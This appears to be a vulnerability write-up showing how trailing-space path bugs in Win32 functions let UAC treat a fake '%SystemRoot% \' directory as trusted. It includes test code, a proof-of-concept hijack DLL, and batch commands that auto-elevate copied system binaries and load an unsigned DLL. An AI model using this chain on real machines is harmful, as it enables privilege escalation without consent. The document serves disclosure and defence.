If the function fails because no matching files can be found, the GetLastError function returns ERROR_FILE_NOT_FOUND.
FindFirstFileEx()
            specifies:
        Searches a directory for a file or subdirectory with a name and attributes that match those specified.The documentation for the Win32 function[…]
[…]HANDLE FindFirstFileEx( [in] LPCTSTR lpFileName, [in] FINDEX_INFO_LEVELS fInfoLevelId, [out] LPVOID lpFindFileData, [in] FINDEX_SEARCH_OPS fSearchOp, LPVOID lpSearchFilter, [in] DWORD dwAdditionalFlags );If the function succeeds, the return value is a search handle used in a subsequent call to FindNextFile or FindClose, and the lpFindFileData parameter contains information about the first file or directory found.
If the function fails or fails to locate files from the search string in the lpFileName parameter, the return value is INVALID_HANDLE_VALUE and the contents of lpFindFileData are indeterminate. To get extended error information, call the GetLastError function.
GetFullPathName()
            specifies:
        Retrieves the full path and file name of the specified file.The documentation for the Win32 function[…]
[…]DWORD GetFullPathName( [in] LPCTSTR lpFileName, [in] DWORD nBufferLength, [out] LPTSTR lpBuffer, [out] LPTSTR *lpFilePart );This function does not verify that the resulting path and file name are valid, or that they see an existing file on the associated volume.
GetLongPathName()
            specifies:
        Converts the specified path to its long form.The documentation for the Win32 function[…]
[…]DWORD GetLongPathName( [in] LPCTSTR lpszShortPath, [out] LPTSTR lpszLongPath, [in] DWORD cchBuffer );If the function succeeds, the return value is the length, in TCHARs, of the string copied to lpszLongPath, not including the terminating null character.
If the lpBuffer buffer is too small to contain the path, the return value is the size, in TCHARs, of the buffer that is required to hold the path and the terminating null character.
If the function fails for any other reason, such as if the file does not exist, the return value is zero. To get extended error information, call GetLastError.
[…]
If the file or directory exists but a long path is not found, GetLongPathName succeeds, having copied the string referred to by the lpszShortPath parameter to the buffer referred to by the lpszLongPath parameter.
GetShortPathName()
            specifies:
        Retrieves the short path form of the specified path.[…]
[…]DWORD GetShortPathName( [in] LPCTSTR lpszLongPath, [out] LPTSTR lpszShortPath, [in] DWORD cchBuffer );If the function succeeds, the return value is the length, in TCHARs, of the string that is copied to lpszShortPath, not including the terminating null character.
If the lpszShortPath buffer is too small to contain the path, the return value is the size of the buffer, in TCHARs, that is required to hold the path and the terminating null character.
If the function fails for any other reason, the return value is zero. To get extended error information, call GetLastError.
[…]
If you call GetShortPathName on a path that doesn't have any short names on-disk, the call will succeed, but will return the long-name path instead. This outcome is also possible with NTFS volumes because there's no guarantee that a short name will exist for a given long name.
 Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(safebuffers)
BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
	WCHAR	szOutput[1025];
	DWORD	dwOutput;
	DWORD	dwConsole;
	va_list	vaInput;
	va_start(vaInput, lpFormat);
	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
	va_end(vaInput);
	if (dwOutput == 0UL)
		return FALSE;
	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
		return FALSE;
	return dwConsole == dwOutput;
}
const	LPCWSTR	szArray[] = {L"Blunder \\NUL:", L"Blunder \\.", L"Blunder \\blunder.tmp", L"Blunder \\*"};
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	WIN32_FIND_DATA	wfd;
	DWORD	dwArray = 0UL;
	DWORD	dwError;
	DWORD	dwBlunder;
	WCHAR	szBlunder[MAX_PATH];
	BOOL	bBlunder = FALSE;
	HANDLE	hBlunder;
	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
	if (hError == INVALID_HANDLE_VALUE)
		dwError = GetLastError();
	else
		do
		{
			hBlunder = FindFirstFile(szArray[dwArray], &wfd);
			if (hBlunder == INVALID_HANDLE_VALUE)
				PrintConsole(hError,
				             L"FindFirstFile() returned error %lu for argument \'%ls\'\n",
				             dwError = GetLastError(), szArray[dwArray]);
			else
			{
				do
					PrintConsole(hError,
					             L"Find%lsFile() returned filename \'%ls\' with alternate (8.3) filename \'%ls\' and attributes 0x%08lX for argument \'%ls\'\n",
					             bBlunder ? L"Next" : L"First", wfd.cFileName, wfd.cAlternateFileName, wfd.dwFileAttributes, szArray[dwArray]);
				while (bBlunder = FindNextFile(hBlunder, &wfd));
				dwError = GetLastError();
				if (dwError == ERROR_NO_MORE_FILES)
					dwError = ERROR_SUCCESS;
				else
					PrintConsole(hError,
					             L"FindNextFile() returned error %lu for argument \'%ls\'\n",
					             dwError, szArray[dwArray]);
				if (!FindClose(hBlunder))
					PrintConsole(hError,
					             L"FindClose() returned error %lu for argument \'%ls\'\n",
					             dwError = GetLastError(), szArray[dwArray]);
			}
			dwBlunder = GetFullPathName(szArray[dwArray],
			                            sizeof(szBlunder) / sizeof(*szBlunder),
			                            szBlunder,
			                            NULL);
			if (dwBlunder == 0UL)
				PrintConsole(hError,
				             L"GetFullPathName() returned error %lu for argument \'%ls\'\n",
				             dwError = GetLastError(), szArray[dwArray]);
			else
				PrintConsole(hError,
				             L"GetFullPathName() returned pathname \'%ls\' of %lu characters for argument \'%ls\'\n",
				             szBlunder, dwBlunder, szArray[dwArray]);
			dwBlunder = GetLongPathName(szArray[dwArray],
			                            szBlunder,
			                            sizeof(szBlunder) / sizeof(*szBlunder));
			if (dwBlunder == 0UL)
				PrintConsole(hError,
				             L"GetLongPathName() returned error %lu for argument \'%ls\'\n",
				             dwError = GetLastError(), szArray[dwArray]);
			else
				PrintConsole(hError,
				             L"GetLongPathName() returned pathname \'%ls\' of %lu characters for argument \'%ls\'\n",
				             szBlunder, dwBlunder, szArray[dwArray]);
			dwBlunder = GetShortPathName(szArray[dwArray],
			                             szBlunder,
			                             sizeof(szBlunder) / sizeof(*szBlunder));
			if (dwBlunder == 0UL)
				PrintConsole(hError,
				             L"GetShortPathName() returned error %lu\n for argument \'%ls\'",
				             dwError = GetLastError(), szArray[dwArray]);
			else
				PrintConsole(hError,
				             L"GetShortPathName() returned pathname \'%ls\' of %lu characters for argument \'%ls\'\n",
				             szBlunder, dwBlunder, szArray[dwArray]);
		}
		while (++dwArray < sizeof(szArray) / sizeof(*szArray));
	ExitProcess(dwError);
} Compile and link the source file blunder.c created in
            step 1.:
        
SET CL=/GF /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib user32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(63) : warning C4706: assignment within conditional expression Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib
 Execute the console application blunder.exe built in
            step 2. a first time and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
FindFirstFile() returned error 3 for argument 'Blunder \NUL:'
GetFullPathName() returned pathname '\\.\NUL' of 7 characters for argument 'Blunder \NUL:'
GetLongPathName() returned error 3 for argument 'Blunder \NUL:'
GetShortPathName() returned error 3 for argument 'Blunder \NUL:'
FindFirstFile() returned error 2 for argument 'Blunder \.'
GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\Blunder' of 31 characters for argument 'Blunder \.'
GetLongPathName() returned error 2 for argument 'Blunder \.'
GetShortPathName() returned error 2 for argument 'Blunder \.'
FindFirstFile() returned error 3 for argument 'Blunder \blunder.tmp'
GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\Blunder \blunder.tmp' of 44 characters for argument 'Blunder \blunder.tmp'
GetLongPathName() returned error 3 for argument 'Blunder \blunder.tmp'
GetShortPathName() returned error 3 for argument 'Blunder \blunder.tmp'
FindFirstFile() returned error 3 for argument 'Blunder \*'
GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\Blunder \*' of 34 characters for argument 'Blunder \*'
GetLongPathName() returned error 3 for argument 'Blunder \*'
GetShortPathName() returned error 3 for argument 'Blunder \*'
0x3 (WIN32: 3 ERROR_PATH_NOT_FOUND) -- 3 (3)
Error message text: The system cannot find the path specified.
CertUtil: -error command completed successfully.
            OUCH¹: the Win32 functions
            FindFirstFile(),
            GetFullPathName(),
            GetLongPathName()
            and
            GetShortPathName()
            Blunder \. as Blunder – they remove
            the suffix \. first and strip the now trailing space
            afterwards!
         Create the empty subdirectory Blunder \, execute the
            console application blunder.exe built in step 2.
            a second time and evaluate its exit code:
        
MKDIR "Blunder \" .\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
FindFirstFile() returned error 3 for argument 'Blunder \NUL:' GetFullPathName() returned pathname '\\.\NUL' of 7 characters for argument 'Blunder \NUL:' GetLongPathName() returned error 3 for argument 'Blunder \NUL:' GetShortPathName() returned error 3 for argument 'Blunder \NUL:' FindFirstFile() returned error 2 for argument 'Blunder \.' GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\Blunder' of 31 characters for argument 'Blunder \.' GetLongPathName() returned error 2 for argument 'Blunder \.' GetShortPathName() returned error 2 for argument 'Blunder \.' FindFirstFile() returned error 2 for argument 'Blunder \blunder.tmp' GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\Blunder \blunder.tmp' of 44 characters for argument 'Blunder \blunder.tmp' GetLongPathName() returned error 2 for argument 'Blunder \blunder.tmp' GetShortPathName() returned error 2 for argument 'Blunder \blunder.tmp' FindFirstFile() returned filename '.' with alternate (8.3) filename '' and attributes 0x00000010 for argument 'Blunder \*' FindNextFile() returned filename '..' with alternate (8.3) filename '' and attributes 0x00000010 for argument 'Blunder \*' GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\Blunder \*' of 34 characters for argument 'Blunder \*' GetLongPathName() returned error 123 for argument 'Blunder \*' GetShortPathName() returned error 123 for argument 'Blunder \*' 0x7b (WIN32: 123 ERROR_INVALID_NAME) -- 123 (123) Error message text: The filename, directory name, or volume label syntax is incorrect. CertUtil: -error command completed successfully.OUCH²: contrary to the highlighted statement of its documentation cited above, the Win32 function
FindFirstFile()
            does not fail with Win32 error code 2
            alias
            ERROR_FILE_NOT_FOUND
            if a directory is empty!
         Create an empty file blunder.tmp in the subdirectory
            Blunder \, execute the console application
            blunder.exe built in step 2. a third time and
            evaluate its exit code, then remove the file and the subdirectory:
        
COPY NUL: "Blunder \blunder.tmp" .\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL% RMDIR /Q /S "Blunder \"
FindFirstFile() returned error 3 for argument 'Blunder \NUL:' GetFullPathName() returned pathname '\\.\NUL' of 7 characters for argument 'Blunder \NUL:' GetLongPathName() returned error 3 for argument 'Blunder \NUL:' GetShortPathName() returned error 3 for argument 'Blunder \NUL:' FindFirstFile() returned error 2 for argument 'Blunder \.' GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\Blunder' of 31 characters for argument 'Blunder \.' GetLongPathName() returned error 2 for argument 'Blunder \.' GetShortPathName() returned error 2 for argument 'Blunder \.' FindFirstFile() returned filename 'blunder.tmp' with alternate (8.3) filename '' and attributes 0x00000020 for argument 'Blunder \blunder.tmp' GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\Blunder \blunder.tmp' of 44 characters for argument 'Blunder \blunder.tmp' GetLongPathName() returned error 2 for argument 'Blunder \blunder.tmp' GetShortPathName() returned error 2 for argument 'Blunder \blunder.tmp' FindFirstFile() returned filename '.' with alternate (8.3) filename '' and attributes 0x00000010 for argument 'Blunder \*' FindNextFile() returned filename '..' with alternate (8.3) filename '' and attributes 0x00000010 for argument 'Blunder \*' FindNextFile() returned filename 'blunder.tmp' with alternate (8.3) filename '' and attributes 0x00000020 for argument 'Blunder \*' GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\Blunder \*' of 34 characters for argument 'Blunder \*' GetLongPathName() returned error 123 for argument 'Blunder \*' GetShortPathName() returned error 123 for argument 'Blunder \*' 0x7b (WIN32: 123 ERROR_INVALID_NAME) -- 123 (123) Error message text: The filename, directory name, or volume label syntax is incorrect. CertUtil: -error command completed successfully.OUCH³: the Win32 functions
GetLongPathName()
            and
            GetShortPathName()
            fail with Win32 error code 2 alias
            ERROR_FILE_NOT_FOUND
            although the file Blunder \blunder.tmp exists!
         Create the subdirectory Blunder\ and an empty file
            blunder.tmp in it, execute the console application
            blunder.exe built in step 2. a last time and
            evaluate its exit code, then remove the file and the subdirectory:
        
MKDIR Blunder COPY NUL: Blunder\blunder.tmp .\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL% RMDIR /Q /S Blunder
FindFirstFile() returned filename 'NUL' with alternate (8.3) filename '' and attributes 0x00000020 for argument 'Blunder \NUL:' GetFullPathName() returned pathname '\\.\NUL' of 7 characters for argument 'Blunder \NUL:' GetLongPathName() returned pathname 'Blunder\NUL' of 11 characters for argument 'Blunder \NUL:' GetShortPathName() returned pathname 'Blunder \NUL:' of 13 characters for argument 'Blunder \NUL:' FindFirstFile() returned filename 'Blunder' with alternate (8.3) filename '' and attributes 0x00000010 for argument 'Blunder \.' GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\Blunder' of 31 characters for argument 'Blunder \.' GetLongPathName() returned pathname 'Blunder\.' of 9 characters for argument 'Blunder \.' GetShortPathName() returned pathname 'Blunder \.' of 10 characters for argument 'Blunder \.' FindFirstFile() returned error 3 for argument 'Blunder \blunder.tmp' GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\Blunder \blunder.tmp' of 44 characters for argument 'Blunder \blunder.tmp' GetLongPathName() returned error 3 for argument 'Blunder \blunder.tmp' GetShortPathName() returned error 3 for argument 'Blunder \blunder.tmp' FindFirstFile() returned error 3 for argument 'Blunder \*' GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\Blunder \*' of 34 characters for argument 'Blunder \*' GetLongPathName() returned error 3 for argument 'Blunder \*' GetShortPathName() returned error 3 for argument 'Blunder \*' 0x3 (WIN32: 3 ERROR_PATH_NOT_FOUND) -- 3 (3) Error message text: The system cannot find the path specified. CertUtil: -error command completed successfully.OUCH⁴: the Win32 functions
FindFirstFile()
            and
            GetLongPathName()
            hallucinate a not existing file
            Blunder \NUL instead to fail with Win32
            error code 3 alias
            ERROR_PATH_NOT_FOUND!
         OUCH⁵: the Win32 function
            GetShortPathName()
            hallucinates a not existing file
            Blunder \NUL: and a not existing
            directory Blunder \. instead to fail with
            Win32 error code 3 alias
            ERROR_PATH_NOT_FOUND!
        
FindFirstFileEx(),
            FindFirstFileTransacted(),
            GetFullPathNameTransacted()
            and
            GetLongPathNameTransacted()
            is left as an exercise to the reader.
        Note: an exploration of the behaviour for directory or file names with multiple trailing spaces as well as one or more trailing periods followed by one or more spaces, i.e. an extension containing only spaces, is also left as an exercise to the reader.
Note: a repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.
GetFullPathName()
            and
            GetLongPathName()
            are used (direct and indirect) by the security theatreUAC to verify two of the three preconditions required for
auto-elevationof applications:
autoElevate property in the (embedded)
            application manifest,
        Windows Publishercode signing certificate, and
securealias
trustedlocation like
%SystemRoot%\ and its subdirectories.
        path rules.
Note: the well-known bug of the Win32 functions is documented as CWE-41: Improper Resolution of Path Equivalence, CWE-46: Path Equivalence: 'filename ' (Trailing Space), CWE-162: Improper Neutralization of Trailing Special Elements and CWE-163: Improper Neutralization of Multiple Trailing Special Elements in the CWE™.
Note: steps 1. through 8. show the normal, intended and expected behaviour, steps 9. and 10. exploit the blunder, and step 11. cleans up.
 Start the Command Processor
            Cmd.exe
            unelevated, then execute the
            Kernel Transaction Management Utility
            KTMUtil.exe
            to verify that the Command Processor
            Cmd.exe runs without
            administrative privileges and access rights.
        
CHDIR /D "%SystemRoot%" System32\KTMUtil.exeNote: the command lines can be copied and pasted as blocks into a Command Processor window.
The KTMUTIL utility requires that you have administrative privileges.
 
            Load and execute
            
NetPlWiz.dll
            to display the User Accounts
 dialog box:
        
System32\RunDLL32.exe System32\NetPlWiz.dll,UsersRunDllNote: the TechNet article PassportWizardRunDll documents another (now removed) function of
NetPlWiz.dll
            that  
            Load and execute
            
PrintUI.dll to
            display a dialog box with the usage instructions of its
            PrintUIEntry() function, as documented in the
            TechNet
            article
            Rundll32 printui.dll,PrintUIEntry:
        
System32\RunDLL32.exe System32\PrintUI.dll,PrintUIEntry /?
 
            Load and execute
            
ShUnimpl.dll to let
            RunDLL32.exe
            display an error message box:
        
System32\RunDLL32.exe System32\ShUnimpl.dll,#0Note:
ShUnimpl.dll is the
            graveyardfor obsolete and now unimplemented functions of Windows’ graphical
shellfrom prior versions of Windows NT – its
_DllMainCRTStartup()
            entry point function intentionally returns FALSE and
            lets the Win32 function
            LoadLibrary()
            fail with Win32 error code 1114 alias
            ERROR_DLL_INIT_FAILED
            to inhibit their use.
         Execute
            MMC.exe to trigger
            a (blue) UAC prompt
            that shows Verified Publisher: Microsoft Windows
:
        
System32\MMC.exeNote: the TechNet article Understanding and Configuring User Account Control in Windows Vista provides detailed information not just about the color code.
 Execute the auto-elevating
            PrintUI.exe to load
            PrintUI.dll and
            display its Printer Settings
 dialog box
            without triggering a
            UAC prompt:
        
System32\NetPlWiz.exe
 Execute the auto-elevating
            NetPlWiz.exe
            to load
            NetPlWiz.dll
            and display its User Accounts
 dialog box
            without triggering a
            UAC prompt:
        
System32\PrintUI.exe
 Copy MMC.exe,
            NetPlWiz.exe
            and PrintUI.exe into
            an (arbitrary) subdirectory of the systems’ TEMP
            directory %SystemRoot%\Temp\, then execute these copies
            to trigger a (now yellow)
            UAC prompt that
            shows Publisher: Unknown
:
        
MKDIR Temp\Blunder COPY System32\MMC.exe Temp\Blunder\MMC.exe Temp\Blunder\MMC.exe COPY System32\NetPlWiz.exe Temp\Blunder\NetPlWiz.exe Temp\Blunder\NetPlWiz.exe COPY System32\PrintUI.exe Temp\Blunder\PrintUI.exe Temp\Blunder\PrintUI.exe RMDIR /Q /S Temp\Blunder
        1 file(s) copied.
        1 file(s) copied.
        1 file(s) copied.
            Note: the
            digital signatures
            of almost all files shipped with Windows are
            not embedded in these files, but stored in separate
            catalog files
%SystemRoot%\System32\CatRoot\{00000000-0000-0000-0000-000000000000}\*.cat,
            %SystemRoot%\System32\CatRoot\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\*.cat
            and
            %SystemRoot%\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\*.cat,
            while an index of the signatures’ hashes is maintained in the
            catalog database files
%SystemRoot%\System32\CatRoot2\{00000000-0000-0000-0000-000000000000}\catdb,
            %SystemRoot%\System32\CatRoot2\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\catdb
            and
            %SystemRoot%\System32\CatRoot2\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\catdb.
         (Not only) UAC
            validates these detached digital signatures independent of the
            actual file name, and with some exceptions, for example in an
            untrusted directory like %SystemRoot%\Temp\, also
            independent of the actual path name.
        
 Create the directory Windows \ in the root directory of
            the system drive
, copy
            MMC.exe,
            NetPlWiz.exe
            and PrintUI.exe into
            it, execute the copy of
            MMC.exe to trigger
            a (blue) UAC prompt
            that shows Publisher: Unknown
, then execute
            NetPlWiz.exe
            and PrintUI.exe to
            load
            NetPlWiz.dll
            and PrintUI.dll
            which display their dialog boxes without triggering
            a UAC prompt:
        
MKDIR "%SystemRoot% \" COPY System32\MMC.exe "%SystemRoot% \MMC.exe" START "OUCH!" /WAIT "%SystemRoot% \MMC.exe" COPY System32\NetPlWiz.exe "%SystemRoot% \NetPlWiz.exe" START "OUCH!" /WAIT "%SystemRoot% \NetPlWiz.exe" COPY System32\PrintUI.exe "%SystemRoot% \PrintUI.exe" START "OUCH!" /WAIT "%SystemRoot% \PrintUI.exe"
        1 file(s) copied.
        1 file(s) copied.
        1 file(s) copied.
            OUCH⁵: due to the bugs of the
            Win32 functions
            FindFirstFile(),
            GetFullPathName(),
            GetLongPathName()
            and
            GetShortPathName()
            demonstrated above, the security theatreUAC misidentifies
%SystemRoot% \ as trusteddirectory and performs
auto-elevation!
 Note:
            UAC exhibits this
            vulnerability (at least) in the directories
        %SystemRoot% \,
        %SystemRoot% .\,
        %SystemRoot% . \,   %SystemRoot%. \,
        %SystemRoot% .  \,  %SystemRoot%.  \,
        %SystemRoot% .   \, %SystemRoot%.   \.
        
 Copy ShUnimpl.dll
            as
            NetPlWiz.dll
            and PrintUI.dll
            into the directory Windows \, then execute the copies
            of the auto-elevating
            NetPlWiz.exe
            and PrintUI.exe again:
        
 
        
COPY System32\ShUnimpl.dll "%SystemRoot% \NetPlWiz.dll" START "OUCH!" /WAIT "%SystemRoot% \NetPlWiz.exe" System32\CertUtil.exe /ERROR %ERRORLEVEL% COPY System32\ShUnimpl.dll "%SystemRoot% \PrintUI.dll" START "OUCH!" /WAIT "%SystemRoot% \PrintUI.exe" System32\CertUtil.exe /ERROR %ERRORLEVEL%
        1 file(s) copied.
0xc0000139 (NT: 0xc0000139 STATUS_ENTRYPOINT_NOT_FOUND) -- 3221225785 (-1073741511)
Error message text: {Entry Point Not Found}
The procedure entry point %hs could not be located in the dynamic link library %hs.
CertUtil: -error command completed successfully.
        1 file(s) copied.
0x45a (WIN32: 1114 ERROR_DLL_INIT_FAILED) -- 1114 (1114)
Error message text: A dynamic link library (DLL) initialization routine failed.
CertUtil: -error command completed successfully.
            OUCH⁶: (like almost all applications
            shipped with Windows)
            NetPlWiz.exe
            and PrintUI.exe are
            vulnerable to
            CWE-426: Untrusted Search Path
            and
            CWE-427: Uncontrolled Search Path Element,
            and susceptible to
            CAPEC-471: Search Order Hijacking
            – they load and execute (at least) an arbitrary
            (hostile) unsigned
            NetPlWiz.dll
            respectively
            PrintUI.dll
            from their (untrusted and user-writable)
            application directory
%SystemRoot% \ instead
            from Windows’ system directory
%SystemRoot%\System32\, allowing arbitrary code
            execution with administrative privileges and access rights!
         Note: if Microsoft’s developers
            were not so careless, clueless and sloppy, their
            quality miserability assurance not sound
            asleep, and their managers not completely ignorant and incompetent,
            they would have read for example the
            MSRC
            blog post
            Load Library Safely,
            the MSKB
            articles
            2389418
            and
            2533623,
            the Security Advisory
            2269637,
            the MSDN
            articles
            Dynamic-Link Library Security
            and
            Dynamic-Link Library Search Order,
            then exercised defense in depth
 and fixed their crap long ago
            to inhibit such attacks!
        
 Note:
            NetPlWiz.dll
            is a
            static (load-time) dependency
            of
            NetPlWiz.exe,
            and PrintUI.dll
            is a
            run-time dependency
            of PrintUI.exe.
        
 Note: building a
            DLL
            that is loaded by
            NetPlWiz.exe
            or PrintUI.exe and
            executes arbitrary code is left as an exercise to the reader.
        
�
// Copyright © 2009-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(dllexport)
VOID	WINAPI	PrintUIEntryW(HWND      hWindow,
		              HINSTANCE hInstance,
		              LPCSTR    lpszCmdLine,
		              INT       nCmdShow)
{
	if (!WriteProfileString(L"PrintUI",
	                        L"PrintUIEntryW",
	                        GetCommandLine()))
		/* no error handling */;
}
__declspec(dllexport)
VOID	WINAPI	UsersRunDllW(HWND      hWindow,
		             HINSTANCE hInstance,
		             LPCSTR    lpszCmdLine,
		             INT       nCmdShow)
{
	if (!WriteProfileString(L"NetPlWiz",
	                        L"UsersRunDllW",
	                        GetCommandLine()))
		/* no error handling */;
}
__declspec(safebuffers)
BOOL	WINAPI	_DllMainCRTStartup(HMODULE hModule,
		                   DWORD   dwReason,
		                   LPVOID  lpReserved)
{
	DWORD	dwModule;
	WCHAR	szModule[MAX_PATH];
	DWORD	dwProcess;
	WCHAR	szProcess[MAX_PATH];
	DWORD	dwWindows;
	WCHAR	szWindows[MAX_PATH];
	HANDLE	hWindows;
	DWORD	dwOutput;
	CHAR	szOutput[1025];
	if (dwReason != DLL_PROCESS_ATTACH)
		return FALSE;
	dwModule = GetModuleFileName(hModule,
	                             szModule,
	                             sizeof(szModule) / sizeof(*szModule));
	if (dwModule != 0UL)
		szModule[dwModule] = L'\0';
	else
		memcpy(szModule, L"<unknown>", sizeof(L"<unknown>"));
	dwProcess = GetModuleFileName((HMODULE) NULL,
	                              szProcess,
	                              sizeof(szProcess) / sizeof(*szProcess));
	if (dwProcess != 0UL)
		szProcess[dwProcess] = L'\0';
	else
		memcpy(szProcess, L"<unknown>", sizeof(L"<unknown>"));
	dwWindows = GetSystemWindowsDirectory(szWindows,
	                                      sizeof(szWindows) / sizeof(*szWindows));
	if (dwWindows == 0UL)
		return FALSE;
	memcpy(szWindows + dwWindows, L"\\blunder.log", sizeof(L"\\blunder.log"));
	hWindows = CreateFile(szWindows,
	                      FILE_APPEND_DATA | SYNCHRONIZE,
	                      FILE_SHARE_READ | FILE_SHARE_WRITE,
	                      (LPSECURITY_ATTRIBUTES) NULL,
	                      OPEN_ALWAYS,
	                      FILE_FLAG_WRITE_THROUGH,
	                      (HANDLE) NULL);
	if (hWindows == INVALID_HANDLE_VALUE)
		return FALSE;
	dwOutput = wsprintfA(szOutput,
	                     "Module \'%ls\' loaded at address 0x%p in process \'%ls\'\r\n",
	                     szModule, hModule, szProcess);
	if (!WriteFile(hWindows,
	               szOutput,
	               dwOutput * sizeof(*szOutput),
	               &dwWindows,
	               (LPOVERLAPPED) NULL))
		/* no error handling */;
	else
		if (dwWindows != dwOutput * sizeof(*szOutput))
			/* no error handling */;
	if (!CloseHandle(hWindows))
		/* no error handling */;
	return TRUE;
}�
SET CL=/GAFyz /LD /Oisy /W4 /wd4100 /Zl SET LINK=/EXPORT:PrintUIEntryW /EXPORT:UsersRunDllW /NODEFAULTLIB CL.EXE blunder.c kernel32.lib user32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /EXPORT:PrintUIEntryW /EXPORT:UsersRunDllW /NODEFAULTLIB /out:blunder.dll /dll /implib:blunder.lib blunder.obj kernel32.lib user32.lib Creating library blunder.lib and object blunder.exp
�
COPY /Y NUL: blunder.log COPY /Y …\blunder.dll "%SystemRoot% \NetPlWiz.dll" START "OUCH!" /WAIT "%SystemRoot% \NetPlWiz.exe" COPY /Y …\blunder.dll "%SystemRoot% \PrintUI.dll" START "OUCH!" /WAIT "%SystemRoot% \PrintUI.exe" TYPE blunder.log ERASE blunder.log
Access denied
        0 file(s) copied.
        1 file(s) copied.
        1 file(s) copied.
Module 'C:\Windows \NetPlWiz.dll' loaded in process 'C:\Windows \NetPlWiz.exe'
Module 'C:\Windows \PrintUI.dll' loaded in process 'C:\Windows \PrintUI.exe'
C:\Windows\blunder.log
Access denied
        Clean up:
RMDIR /Q /S "%SystemRoot% \" EXIT
REM Copyright © 2011-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
IF NOT DEFINED SystemRoot EXIT /B
CHDIR /D "%SystemRoot%"
TITLE Step 0: KTMUtil.exe shows that these commands don't run elevated
System32\KTMUtil.exe
TITLE Step 1: NetPlWiz.dll displays the 'User Accounts' dialog box
System32\RunDLL32.exe System32\NetPlWiz.dll,UsersRunDll
TITLE Step 2: PrintUI.dll displays a dialog box
System32\RunDLL32.exe System32\PrintUI.dll,PrintUIEntry /?
TITLE Step 3: ShUnimpl.dll denies to load, RunDLL32.exe displays an error message box
System32\RunDLL32.exe System32\ShUnimpl.dll,#0
TITLE Step 4: MMC.exe triggers a blue UAC prompt
System32\MMC.exe
TITLE Step 5: NetPlWiz.exe triggers no UAC prompt and auto-elevates, then loads NetPlWiz.dll which displays the 'User Accounts' dialog box
System32\NetPlWiz.exe
TITLE Step 6: PrintUI.exe triggers no UAC prompt and auto-elevates, then loads PrintUI.dll which displays its dialog box
System32\PrintUI.exe
TITLE Step 7: MMC.exe, NetPlWiz.exe and PrintUI.exe trigger a yellow UAC prompt which shows "Publisher: Unknown"
MKDIR Temp\Blunder
COPY System32\MMC.exe Temp\Blunder\MMC.exe
Temp\Blunder\MMC.exe
COPY System32\NetPlWiz.exe Temp\Blunder\NetPlWiz.exe
Temp\Blunder\NetPlWiz.exe
COPY System32\PrintUI.exe Temp\Blunder\PrintUI.exe
Temp\Blunder\PrintUI.exe
RMDIR /Q /S Temp\Blunder
TITLE Step 8: MMC.exe triggers a blue UAC prompt which shows "Verified Publisher: Microsoft Windows"
MKDIR "%SystemRoot% \"
COPY System32\MMC.exe "%SystemRoot% \MMC.exe"
START "OUCH!" /WAIT "%SystemRoot% \MMC.exe"
TITLE Step 9: NetPlWiz.exe triggers no UAC prompt and auto-elevates, then loads NetPlWiz.dll which displays the 'User Accounts' dialog box
COPY System32\NetPlWiz.exe "%SystemRoot% \NetPlWiz.exe"
START "OUCH!" /WAIT "%SystemRoot% \NetPlWiz.exe"
TITLE Step 10: PrintUI.exe triggers no UAC prompt and auto-elevates, then loads PrintUI.dll which displays its dialog box
COPY System32\PrintUI.exe "%SystemRoot% \PrintUI.exe"
START "OUCH!" /WAIT "%SystemRoot% \PrintUI.exe"
TITLE Step 11: NetPlWiz.exe triggers no UAC prompt and auto-elevates, then loads an arbitrary (unsigned) NetPlWiz.dll
COPY System32\ShUnimpl.dll "%SystemRoot% \NetPlWiz.dll"
START "OUCH!" /WAIT "%SystemRoot% \NetPlWiz.exe"
System32\CertUtil.exe /ERROR %ERRORLEVEL%
TITLE Step 12: PrintUI.exe triggers no UAC prompt and auto-elevates, then loads an arbitrary (unsigned) PrintUI.dll
